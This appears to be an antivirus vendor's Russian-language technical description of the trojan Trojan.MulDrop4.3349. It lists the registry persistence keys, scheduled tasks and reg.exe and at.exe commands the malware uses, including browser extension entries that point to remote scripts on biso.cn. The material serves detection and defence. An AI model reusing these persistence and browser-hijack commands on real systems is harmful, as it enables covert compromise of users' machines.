Trojan.MulDrop4.3349

Техническая информация

Для обеспечения автозапуска и распространения:

Модифицирует следующие ключи реестра:

[<HKLM>\SOFTWARE\Microsoft\Internet Explorer\Extensions\{b02A04EE-3024-11D2-8F1F-0000F87ABD16}] 'ClsidExtension' = '▒ъ╫╝╦╤╦ў'
[<HKLM>\SOFTWARE\Microsoft\Internet Explorer\Extensions\{b02A04EE-3024-11D2-8F1F-0000F87ABD16}] 'Exec' = 'http://www.biso.cn/js/re.asp?i=2'
[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnce] '360safe' = '"%WINDIR%\SYSTEM\twunk_32.exe"'
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce] '360safetray' = '"<SYSTEM32>\winxml.exe"'
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\RunOnce] 'internat' = '"<SYSTEM32>\WinUpdate.exe"'

Создает или изменяет следующие файлы:

%WINDIR%\Tasks\At2.job
%WINDIR%\Tasks\At1.job

Вредоносные функции:

Запускает на исполнение:

<SYSTEM32>\reg.exe add "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Extensions\{b02A04EE-3024-11D2-8F1F-0000F87ABD16}" /v "Default Icon" /d "<SYSTEM32>\shell32.dll,15" /f
<SYSTEM32>\reg.exe add "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Extensions\{b02A04EE-3024-11D2-8F1F-0000F87ABD16}" /v "Icon" /d "<SYSTEM32>\shell32.dll,15" /f
<SYSTEM32>\reg.exe add "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Extensions\{b02A04EE-3024-11D2-8F1F-0000F87ABD16}" /v "Default Visible" /d "yes" /f
<SYSTEM32>\reg.exe add "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Extensions\{b02A04EE-3024-11D2-8F1F-0000F87ABD16}" /v "" /d "" /f
<SYSTEM32>\reg.exe add "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Extensions\{b02A04EE-3024-11D2-8F1F-0000F87ABD16}" /v "ButtonText" /d "▒ъ╫╝╦╤╦ў" /f
<SYSTEM32>\reg.exe add "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Extensions\{b02A04EE-3024-11D2-8F1F-0000F87ABD16}" /v "hotIcon" /d "<SYSTEM32>\shell32.dll,15" /f
<SYSTEM32>\reg.exe add "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Extensions\{b02A04EE-3024-11D2-8F1F-0000F87ABD16}" /v "MenuText" /d "▒ъ╫╝╦╤╦ў" /f
<SYSTEM32>\reg.exe add "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Extensions\{b02A04EE-3024-11D2-8F1F-0000F87ABD16}" /v "MenuStatusBar" /d "▒ъ╫╝╦╤╦ў" /f
<SYSTEM32>\reg.exe add "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Extensions\{b02A04EE-3024-11D2-8F1F-0000F87ABD16}" /v "Exec" /d "http://www.bi#o.cn/js/re.asp?i=#" /f
<SYSTEM32>\reg.exe add "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Extensions\{b02A04EE-3024-11D2-8F1F-0000F87ABD16}" /v "CLSID" /d "{1FBA04EE-3024-11D2-8F1F-0000F87ABD16}" /f
<SYSTEM32>\reg.exe add "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Extensions\{b02A04EE-3024-11D2-8F1F-0000F87ABD16}" /v "ClsidExtension" /d "▒ъ╫╝╦╤╦ў" /f
<SYSTEM32>\at.exe 18:15 /every:T,TH,f,Sa,Su %WINDIR%\winu.exe
<SYSTEM32>\at.exe 20:39 %WINDIR%\pat32.exe
<SYSTEM32>\at.exe /delete /yes
<SYSTEM32>\cmd.exe /c ""%TEMP%\office2003.bat""
<SYSTEM32>\ping.exe -n 1 biso.cn
<SYSTEM32>\reg.exe delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce" /va /f
<SYSTEM32>\reg.exe add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt\Google ╦╤╦ў" /v "" /d "http://www.bi#o.cn/js/menu.asp?me#########" /f
<SYSTEM32>\reg.exe add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt\│г╙├╚э╝■" /v "" /d "http://www.bi#o.cn/js/menu.asp?me#######" /f
<SYSTEM32>\reg.exe add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce /v 360safe /d """"%WINDIR%\SYSTEM\twunk_32.exe"""" /f
<SYSTEM32>\reg.exe add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce /v 360safetray /d """"<SYSTEM32>\winxml.exe"""" /f
<SYSTEM32>\reg.exe add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce /v internat /d """"<SYSTEM32>\WinUpdate.exe"""" /f